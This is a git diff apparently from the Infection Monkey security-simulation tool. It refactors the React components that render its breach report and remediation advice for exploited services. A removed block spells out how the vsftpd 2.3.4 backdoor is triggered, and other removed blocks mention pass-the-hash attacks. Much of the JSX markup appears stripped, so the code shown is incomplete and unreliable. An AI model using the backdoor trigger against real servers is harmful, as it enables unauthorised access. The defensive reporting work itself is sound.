@@ -88,7 +88,10 @@ class StartOverPageComponent extends AuthComponent { cleaned: true }); } - }).then(this.updateMonkeysRunning()); + }).then(() => { + this.updateMonkeysRunning(); + this.props.onStatusChange(); + }); }; closeModal = () => { diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index 8d8611eb6..7ffe9ae7d 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -1,6 +1,5 @@ import React from 'react'; import Graph from 'react-graph-vis'; -import Dimensions from 'react-dimensions' class GraphWrapper extends React.Component { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js new file mode 100644 index 000000000..f4cced8c3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -0,0 +1,44 @@ +import React from 'react'; + +import ReportHeader, {ReportTypes} from './common/ReportHeader'; +import ReportLoader from './common/ReportLoader'; +import AttackSection from './ransomware/AttackSection'; +import LateralMovement from './ransomware/LateralMovement'; + +import '../../styles/pages/report/RansomwareReport.scss'; +import BreachSection from './ransomware/BreachSection'; + +class RansomwareReport extends React.Component { + + stillLoadingDataFromServer() { + return Object.keys(this.props.report).length === 0; + } + + generateReportContent() { + return ( +

+ + + +
+ ) + } + + render() { + let content = {}; + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content = this.generateReportContent(); + } + + return ( +
+ +
+ {content} +
) + } +} + +export default RansomwareReport; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index e3a1621eb..4f8af8c62 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -1,11 +1,11 @@ import React, {Fragment} from 'react'; +import Pluralize from 'pluralize'; import BreachedServers from 'components/report-components/security/BreachedServers'; import ScannedServers from 'components/report-components/security/ScannedServers'; import PostBreach from 'components/report-components/security/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, getOptions} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/security/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import StrongUsers from 'components/report-components/security/StrongUsers'; @@ -13,49 +13,190 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; import SecurityIssuesGlance from './common/SecurityIssuesGlance'; import PrintReportButton from './common/PrintReportButton'; -import WarningIcon from '../ui-components/WarningIcon'; -import {Button} from 'react-bootstrap'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; +import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue'; +import {struts2IssueOverview, struts2IssueReport} from './security/issues/Struts2Issue'; +import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue'; +import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue'; +import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue'; +import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue'; +import {vsftpdIssueOverview, vsftpdIssueReport} from './security/issues/VsftpdIssue'; +import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; +import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; +import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue'; +import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; +import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; +import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; +import { + crossSegmentIssueOverview, + crossSegmentIssueReport, + islandCrossSegmentIssueReport +} from './security/issues/CrossSegmentIssue'; +import { + sharedCredsDomainIssueReport, sharedCredsIssueReport, sharedLocalAdminsIssueReport, + sharedAdminsDomainIssueOverview, + sharedPasswordsIssueOverview +} from './security/issues/SharedPasswordsIssue'; +import {tunnelIssueReport, tunnelIssueOverview} from './security/issues/TunnelIssue'; +import {stolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; +import {weakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; +import {azurePasswordIssueOverview, azurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; +import {strongUsersOnCritIssueReport} from './security/issues/StrongUsersOnCritIssue'; +import { + zerologonIssueOverview, + zerologonIssueReport, + zerologonOverviewWithFailedPassResetWarning +} from './security/issues/ZerologonIssue'; class ReportPageComponent extends AuthComponent { - Issue = - { - WEAK_PASSWORD: 0, - STOLEN_CREDS: 1, - ELASTIC: 2, - SAMBACRY: 3, - SHELLSHOCK: 4, - CONFICKER: 5, - AZURE: 6, - STOLEN_SSH_KEYS: 7, - STRUTS2: 8, - WEBLOGIC: 9, - HADOOP: 10, - PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12, - VSFTPD: 13, - DRUPAL: 14, - ZEROLOGON: 15, - ZEROLOGON_PASSWORD_RESTORE_FAILED: 16 - }; + credentialTypes = { + PASSWORD: 'password', + HASH: 'hash', + KEY: 'key' + } - NotThreats = [this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]; + issueContentTypes = { + OVERVIEW: 'overview', + REPORT: 'report', + TYPE: 'type' + } - Warning = + issueTypes = { + WARNING: 'warning', + DANGER: 'danger' + } + + IssueDescriptorEnum = { - CROSS_SEGMENT: 0, - TUNNEL: 1, - SHARED_LOCAL_ADMIN: 2, - SHARED_PASSWORDS: 3, - SHARED_PASSWORDS_DOMAIN: 4 - }; + 'SmbExploiter': { + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: smbPasswordReport, + [this.credentialTypes.HASH]: smbPthReport + }, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'Struts2Exploiter': { + [this.issueContentTypes.OVERVIEW]: struts2IssueOverview, + [this.issueContentTypes.REPORT]: struts2IssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'WebLogicExploiter': { + [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview, + [this.issueContentTypes.REPORT]: webLogicIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'HadoopExploiter': { + [this.issueContentTypes.OVERVIEW]: hadoopIssueOverview, + [this.issueContentTypes.REPORT]: hadoopIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'MSSQLExploiter': { + [this.issueContentTypes.OVERVIEW]: mssqlIssueOverview, + [this.issueContentTypes.REPORT]: mssqlIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'DrupalExploiter': { + [this.issueContentTypes.OVERVIEW]: drupalIssueOverview, + [this.issueContentTypes.REPORT]: drupalIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'VSFTPDExploiter': { + [this.issueContentTypes.OVERVIEW]: vsftpdIssueOverview, + [this.issueContentTypes.REPORT]: vsftpdIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'WmiExploiter': { + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: wmiPasswordIssueReport, + [this.credentialTypes.HASH]: wmiPthIssueReport + }, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'SSHExploiter': { + [this.issueContentTypes.OVERVIEW]: sshIssueOverview, + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: shhIssueReport, + [this.credentialTypes.KEY]: sshKeysReport + }, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'SambaCryExploiter': { + [this.issueContentTypes.OVERVIEW]: sambacryIssueOverview, + [this.issueContentTypes.REPORT]: sambacryIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'ElasticGroovyExploiter': { + [this.issueContentTypes.OVERVIEW]: elasticIssueOverview, + [this.issueContentTypes.REPORT]: elasticIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'ShellShockExploiter': { + [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview, + [this.issueContentTypes.REPORT]: shellShockIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'Ms08_067_Exploiter': { + [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, + [this.issueContentTypes.REPORT]: ms08_067IssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'ZerologonExploiter': { + [this.issueContentTypes.OVERVIEW]: zerologonIssueOverview, + [this.issueContentTypes.REPORT]: zerologonIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'zerologon_pass_restore_failed': { + [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning + }, + 'island_cross_segment': { + [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, + [this.issueContentTypes.REPORT]: islandCrossSegmentIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'tunnel': { + [this.issueContentTypes.OVERVIEW]: tunnelIssueOverview, + [this.issueContentTypes.REPORT]: tunnelIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_passwords': { + [this.issueContentTypes.OVERVIEW]: sharedPasswordsIssueOverview, + [this.issueContentTypes.REPORT]: sharedCredsIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_admins_domain': { + [this.issueContentTypes.OVERVIEW]: sharedAdminsDomainIssueOverview, + [this.issueContentTypes.REPORT]: sharedLocalAdminsIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_passwords_domain': { + [this.issueContentTypes.REPORT]: sharedCredsDomainIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'strong_users_on_crit': { + [this.issueContentTypes.REPORT]: strongUsersOnCritIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'azure_password': { + [this.issueContentTypes.OVERVIEW]: azurePasswordIssueOverview, + [this.issueContentTypes.REPORT]: azurePasswordIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'weak_password': { + [this.issueContentTypes.OVERVIEW]: weakPasswordIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'stolen_creds': { + [this.issueContentTypes.OVERVIEW]: stolenCredsIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + } + } constructor(props) { super(props); @@ -148,9 +289,9 @@ class ReportPageComponent extends AuthComponent {

Overview

- 0}/> + 0}/> { - this.state.report.glance.exploited.length > 0 ? + this.state.report.glance.exploited_cnt > 0 ? '' :

@@ -239,156 +380,23 @@ class ReportPageComponent extends AuthComponent { } generateReportFindingsSection() { + let overviews = this.getPotentialSecurityIssuesOverviews() return (

Security Findings

-
-

- Immediate Threats -

- { - this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length > 0 ? -
- During this simulated attack the Monkey uncovered - {this.getThreatCount()} - : -
    - {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] && -
  • Stolen SSH keys are used to exploit other machines.
  • } - {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] && -
  • Stolen credentials are used to exploit other machines.
  • } - {this.state.report.overview.issues[this.Issue.ELASTIC] && -
  • Elasticsearch servers are vulnerable to - . -
  • } - {this.state.report.overview.issues[this.Issue.VSFTPD] && -
  • VSFTPD is vulnerable to - . -
  • } - {this.state.report.overview.issues[this.Issue.SAMBACRY] && -
  • Samba servers are vulnerable to ‘SambaCry’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.SHELLSHOCK] && -
  • Machines are vulnerable to ‘Shellshock’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.CONFICKER] && -
  • Machines are vulnerable to ‘Conficker’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] && -
  • Machines are accessible using passwords supplied by the user during the Monkey’s - configuration.
  • } - {this.state.report.overview.issues[this.Issue.AZURE] && -
  • Azure machines expose plaintext passwords ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.STRUTS2] && -
  • Struts2 servers are vulnerable to remote code execution ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] && -
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • } - {this.state.report.overview.issues[this.Issue.HADOOP] && -
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • } - {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] && -
  • Mimikatz found login credentials of a user who has admin access to a server defined as - critical.
  • } - {this.state.report.overview.issues[this.Issue.MSSQL] && -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • } - {this.state.report.overview.issues[this.Issue.DRUPAL] && -
  • Drupal servers are susceptible to a remote code execution vulnerability - (). -
  • - } - {this.generateZerologonOverview()} -
-
- : -
- During this simulated attack the Monkey uncovered 0 threats. -
- } -
+ {this.getImmediateThreats()}

Potential Security Issues

{ - this.state.report.overview.warnings.filter(function (x) { - return x === true; - }).length > 0 ? + overviews.length > 0 ?
The Monkey uncovered the following possible set of issues:
    - {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? -
  • Weak segmentation - Machines from different segments are able - to - communicate.
  • : null} - {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - Machines were able to communicate over unused - ports.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • Shared local administrator account - Different machines - have the same account as a local - administrator.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? -
  • Multiple users have the same password
  • : null} + {this.getPotentialSecurityIssuesOverviews()}
: @@ -405,7 +413,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following set of segmentation issues:
    - {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} + {this.state.report.overview.cross_segment_issues.map(x => crossSegmentIssueReport(x))}
@@ -416,53 +424,82 @@ class ReportPageComponent extends AuthComponent { ); } - getThreatCount() { - let threatCount = this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length + getPotentialSecurityIssuesOverviews() { + let overviews = []; + let issues = this.state.report.overview.issues; - this.NotThreats.forEach(x => { - if (this.state.report.overview.issues[x] === true) { - threatCount -= 1; + for(let i=0; i < issues.length; i++) { + if (this.isIssuePotentialSecurityIssue(issues[i])) { + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]])); } - }); - - if (threatCount === 1) - return '1 threat' - else - return threatCount + ' threats' + } + return overviews; } - generateZerologonOverview() { - let zerologonOverview = []; - if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { - zerologonOverview.push(<> - Some Windows domain controllers are vulnerable to 'Zerologon' ( - ). - ) + isIssuePotentialSecurityIssue(issueName) { + let issueDescriptor = this.IssueDescriptorEnum[issueName]; + return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) && + issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.WARNING && + Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW); + } + + getImmediateThreats() { + let threatCount = this.getImmediateThreatCount() + return ( +
+

+ Immediate Threats +

+
During this simulated attack the Monkey uncovered + { + <> + + {threatCount} threats + : + {this.getImmediateThreatsOverviews()} + + } +
+
) + } + + getImmediateThreatCount() { + let threatCount = 0; + let issues = this.state.report.overview.issues; + + for(let i=0; i < issues.length; i++) { + if(this.isIssueImmediateThreat(issues[i])) { + threatCount++; + } } - if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) { - zerologonOverview.push( -
- - Automatic password restoration on a domain controller failed! - -
) + return threatCount; + } + + isIssueImmediateThreat(issueName) { + let issueDescriptor = this.IssueDescriptorEnum[issueName]; + return Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.TYPE) && + issueDescriptor[this.issueContentTypes.TYPE] === this.issueTypes.DANGER && + Object.prototype.hasOwnProperty.call(issueDescriptor, this.issueContentTypes.OVERVIEW); + } + + getImmediateThreatsOverviews() { + let overviews = []; + let issues = this.state.report.overview.issues; + + for(let i=0; i < issues.length; i++) { + if (this.isIssueImmediateThreat(issues[i])) { + if (issues[i] === 'ZerologonExploiter' && issues.includes('zerologon_pass_restore_failed')){ + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum['zerologon_pass_restore_failed'])); + } else { + overviews.push(this.getIssueOverview(this.IssueDescriptorEnum[issues[i]])); + } + } } - else { - return null; - } - return (
  • {zerologonOverview}
  • ) + return overviews; + } + + getIssueOverview(issueDescriptor) { + return issueDescriptor[this.issueContentTypes.OVERVIEW](); } generateReportRecommendationsSection() { @@ -488,7 +525,7 @@ class ReportPageComponent extends AuthComponent { generateReportGlanceSection() { let exploitPercentage = - (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; + (100 * this.state.report.glance.exploited_cnt) / this.state.report.glance.scanned.length; return (

    @@ -499,7 +536,7 @@ class ReportPageComponent extends AuthComponent { The Monkey discovered {this.state.report.glance.scanned.length} machines and successfully breached {this.state.report.glance.exploited.length} of them. + className='badge badge-danger'>{this.state.report.glance.exploited_cnt} of them.

    - +

    + The Monkey successfully breached  + + {this.state.report.glance.exploited_cnt} + {Pluralize('machine', this.state.report.glance.exploited_cnt)}: +

    +
    @@ -558,578 +601,17 @@ class ReportPageComponent extends AuthComponent { ); } - generateInfoBadges(data_array) { - return data_array.map(badge_data => {badge_data}); - } - - generateCrossSegmentIssue(crossSegmentIssue) { - let crossSegmentIssueOverview = 'Communication possible from ' - + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; - - return ( -
  • - {crossSegmentIssueOverview} - -
      - {crossSegmentIssue['issues'].map( - issue => this.generateCrossSegmentIssueListItem(issue) - )} -
    -
    -
  • - ); - } - - generateCrossSegmentIssueListItem(issue) { - if (issue['is_self']) { - return this.generateCrossSegmentSingleHostMessage(issue); - } - - return this.generateCrossSegmentMultiHostMessage(issue); - } - - generateCrossSegmentSingleHostMessage(issue) { - return ( -
  • - {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`} -
  • - ); - } - - generateCrossSegmentMultiHostMessage(issue) { - return ( -
  • - IP {issue['source']} ({issue['hostname']}) was able to communicate with - IP {issue['target']} using: -
      - {issue['icmp'] &&
    • ICMP
    • } - {this.generateCrossSegmentServiceListItems(issue)} -
    -
  • - ); - } - - generateCrossSegmentServiceListItems(issue) { - let service_list_items = []; - - for (const [service, info] of Object.entries(issue['services'])) { - service_list_items.push( -
  • - {service} ({info['display_name']}) -
  • - ); - } - - return service_list_items; - } - - generateShellshockPathListBadges(paths) { - return paths.map(path => {path}); - } - - generateSmbPasswordIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. -
    - The Monkey authenticated over the SMB protocol with user {issue.username} and its password. -
    - - ); - } - - generateSmbPthIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. -
    - The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}. -
    - - ); - } - - generateWmiPasswordIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. -
    - The Monkey authenticated over the WMI protocol with user {issue.username} and its password. -
    - - ); - } - - generateWmiPthIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. -
    - The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}. -
    - - ); - } - - generateSshIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. -
    - The Monkey authenticated over the SSH protocol with user {issue.username} and its password. -
    - - ); - } - - generateSshKeysIssue(issue) { - return ( - <> - Protect {issue.ssh_key} private key with a pass phrase. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. -
    - The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. -
    - - ); - } - - - generateSambaCryIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. -
    - Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SambaCry attack. -
    - The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry - vulnerability. -
    - - ); - } - - generateVsftpdBackdoorIssue(issue) { - return ( - <> - Update your VSFTPD server to the latest version vsftpd-3.0.3. - - The machine {issue.machine} ({issue.ip_address}) has a backdoor running at - port 6200. -
    - The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. -

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been - compromised. - Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a - command - shell on port 6200. -

    - The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the - backdoor - at port 6200. -

    Read more about the security issue and remediation here. -
    - - ); - } - - generateElasticIssue(issue) { - return ( - <> - Update your Elastic Search server to version 1.4.3 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. -
    - The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. -
    - - ); - } - - generateShellshockIssue(issue) { - return ( - <> - Update your Bash to a ShellShock-patched version. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. -
    - The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the - paths: {this.generateShellshockPathListBadges(issue.paths)}. -
    - - ); - } - - generateAzureIssue(issue) { - return ( - <> - Delete VM Access plugin configuration files. - - Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. - - - ); - } - - generateConfickerIssue(issue) { - return ( - <> - Install the latest Windows updates or upgrade to a newer operating system. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. -
    - The attack was made possible because the target machine used an outdated and unpatched operating system - vulnerable to Conficker. -
    - - ); - } - - generateIslandCrossSegmentIssue(issue) { - return ( - <> - Segment your network and make sure there is no communication between machines from different segments. - - The network can probably be segmented. A monkey instance on {issue.machine} in the - networks {this.generateInfoBadges(issue.networks)} - could directly access the Monkey Island server in the - networks {this.generateInfoBadges(issue.server_networks)}. - - - ); - } - - generateSharedCredsDomainIssue(issue) { - return ( - <> - Some domain users are sharing passwords, this should be fixed by changing passwords. - - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - - - ); - } - - generateSharedCredsIssue(issue) { - return ( - <> - Some users are sharing passwords, this should be fixed by changing passwords. - - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - - - ); - } - - generateSharedLocalAdminsIssue(issue) { - return ( - <> - Make sure the right administrator accounts are managing the right machines, and that there isn’t an - unintentional local - admin sharing. - - Here is a list of machines which the account {issue.username} is defined as an administrator: - {this.generateInfoBadges(issue.shared_machines)} - - - ); - } - - generateStrongUsersOnCritIssue(issue) { - return ( - <> - This critical machine is open to attacks via strong users with access to it. - - The services: {this.generateInfoBadges(issue.services)} have been found on the machine - thus classifying it as a critical machine. - These users has access to it: - {this.generateInfoBadges(issue.threatening_users)}. - - - ); - } - - generateTunnelIssue(issue) { - return ( - <> - Use micro-segmentation policies to disable communication other than the required. - - Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest}. - - - ); - } - - generateStruts2Issue(issue) { - return ( - <> - Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. - - Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible because the server is using an old version of Jakarta based file upload - Multipart parser. For possible work-arounds and more info read here. -
    - - ); - } - - generateDrupalIssue(issue) { - return ( - <> - Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. - - Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. -
    - The attack was made possible because the server is using an old version of Drupal, for which REST API is - enabled. For possible workarounds, fixes and more info read - here. -
    - - ); - } - - generateWebLogicIssue(issue) { - return ( - <> - Update Oracle WebLogic server to the latest supported version. - - Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. -
    - The attack was made possible due to one of the following vulnerabilities: - CVE-2017-10271 or - CVE-2019-2725 -
    - - ); - } - - generateHadoopIssue(issue) { - return ( - <> - Run Hadoop in secure mode ( - add Kerberos authentication). - - The Hadoop server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible due to default Hadoop/Yarn configuration being insecure. -
    - - ); - } - - generateMSSQLIssue(issue) { - return ( - <> - Disable the xp_cmdshell option. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack. -
    - The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read - . -
    - - ); - } - - generateZerologonIssue(issue) { - return ( - <> - Install Windows security updates. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Zerologon exploit. -
    - The attack was possible because the latest security updates from Microsoft - have not been applied to this machine. For more information about this - vulnerability, read - . - {!issue.password_restored && -
    -
    - - The domain controller's password was changed during the exploit and could not be restored successfully. - Instructions on how to manually reset the domain controller's password can be found - . - -
    } -
    - - ); - } - generateIssue = (issue) => { - let issueData; - switch (issue.type) { - case 'vsftp': - issueData = this.generateVsftpdBackdoorIssue(issue); - break; - case 'smb_password': - issueData = this.generateSmbPasswordIssue(issue); - break; - case 'smb_pth': - issueData = this.generateSmbPthIssue(issue); - break; - case 'wmi_password': - issueData = this.generateWmiPasswordIssue(issue); - break; - case 'wmi_pth': - issueData = this.generateWmiPthIssue(issue); - break; - case 'ssh': - issueData = this.generateSshIssue(issue); - break; - case 'ssh_key': - issueData = this.generateSshKeysIssue(issue); - break; - case 'sambacry': - issueData = this.generateSambaCryIssue(issue); - break; - case 'elastic': - issueData = this.generateElasticIssue(issue); - break; - case 'shellshock': - issueData = this.generateShellshockIssue(issue); - break; - case 'conficker': - issueData = this.generateConfickerIssue(issue); - break; - case 'island_cross_segment': - issueData = this.generateIslandCrossSegmentIssue(issue); - break; - case 'shared_passwords': - issueData = this.generateSharedCredsIssue(issue); - break; - case 'shared_passwords_domain': - issueData = this.generateSharedCredsDomainIssue(issue); - break; - case 'shared_admins_domain': - issueData = this.generateSharedLocalAdminsIssue(issue); - break; - case 'strong_users_on_crit': - issueData = this.generateStrongUsersOnCritIssue(issue); - break; - case 'tunnel': - issueData = this.generateTunnelIssue(issue); - break; - case 'azure_password': - issueData = this.generateAzureIssue(issue); - break; - case 'struts2': - issueData = this.generateStruts2Issue(issue); - break; - case 'weblogic': - issueData = this.generateWebLogicIssue(issue); - break; - case 'hadoop': - issueData = this.generateHadoopIssue(issue); - break; - case 'mssql': - issueData = this.generateMSSQLIssue(issue); - break; - case 'drupal': - issueData = this.generateDrupalIssue(issue); - break; - case 'zerologon': - issueData = this.generateZerologonIssue(issue); - break; + let issueDescriptor = this.IssueDescriptorEnum[issue.type]; + + let reportFnc = {}; + if (Object.prototype.hasOwnProperty.call(issue, 'credential_type') && issue.credential_type !== null) { + reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type]; + } else { + reportFnc = issueDescriptor[this.issueContentTypes.REPORT]; } - return
  • {issueData}
  • ; + let reportContents = reportFnc(issue); + return
  • {reportContents}
  • ; }; generateIssues = (issues) => { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js index 7bbef33bc..692484f27 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js @@ -1,8 +1,36 @@ import React from 'react'; -export let renderArray = function (val) { - return <>{val.map(x =>
    {x}
    )}; +export let renderArray = function (val, className='') { + return <>{val.map(x =>
    {x}
    )}; }; export let renderIpAddresses = function (val) { - return
    {renderArray(val.ip_addresses)} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')}
    ; + return
    + {renderArray(val.ip_addresses, 'ip-address')} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')} +
    ; }; + +export let renderLimitedArray = function (array, + limit, + className='', + separator=',') { + let elements = []; + if(array.length < limit){ + limit = array.length; + } + for(let i = 0; i < limit; i++){ + let element = ''; + if(i !== 0) { + element = (<>{separator} {array[i]}); + } else { + element = (<>{array[i]}); + } + elements.push(
    {element}
    ); + } + let remainder = array.length - limit; + if(remainder > 0){ + elements.push(
    +  and {remainder} more +
